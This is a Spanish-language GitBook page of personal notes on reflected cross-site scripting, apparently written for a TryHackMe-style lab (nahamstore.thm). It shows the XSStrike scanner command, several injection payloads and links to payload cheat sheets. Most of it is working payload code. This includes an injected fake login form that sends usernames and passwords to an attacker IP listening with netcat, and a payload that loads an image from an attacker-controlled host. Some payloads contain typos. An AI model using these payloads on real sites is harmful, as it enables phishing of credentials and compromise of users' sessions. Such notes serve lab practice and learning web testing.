> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/xss-reflected.md).

# XSS - REFLECTED

{% embed url="<https://www.youtube.com/watch?v=iAZsBOXtyDg>" %}

En el subdominio `http://marketing.nahamstore.thm` provocamos un error al solicitar un recurso inválido.

```http
http://marketing.nahamstore.thm/?error=XSS
```

### XSSTRIKE

Herramienta para la detección de cross site scripting

{% embed url="<https://github.com/s0md3v/XSStrike>" %}

```bash
xsstrike -u "http://domain.com/?error=test"
```

{% embed url="<https://esgeeks.com/xsstrike-advanced-xss-detection-suite/>" %}

***

### XSS MANUAL

XSS de prueba.

```javascript
<scrip>alert("pwned")</script>
```

XSS curioso.

```javascript
script>document.body.background+%3d+"http://myip/gecko.jpg "</script>
```

Formulario de login falso. Las credenciales se envían en la petición a la máquina atacante que se encuentra a la escucha con netcat.

```javascript
<script>document.write('<h3>Please login to continue</h3><form action="http://192.168.133.1
16"><input type="username" name="username" placeholder="Username"><input type="password" na
me="password" placeholder="Password"><input type="submit" name="submit" placeholder="Login"
></form>');</script>
```

OTROS XSS

Si un error se ve reflejado en el cuerpo html, entonces puede ser una potencial vía para XSS.

```http
http://domain.htm/<script>alert(4)</script>
```

Si el cambio se ve reflejado en el titulo, entonces antes de la ejecución del script cerramos la etiqueta title.

```bash
http://domain.htm/product?id=1&name=XSS</title><script>alert('Pwned')</script>
```

XSS CURIOSO

```http
http://domain.thm/search?q='%2Balert(1)%2B'
```

***

PAYLOADS XSS INJECTION

{% embed url="<https://payloadplayground.com/cheatsheets/xss>" %}

{% embed url="<https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md>" %}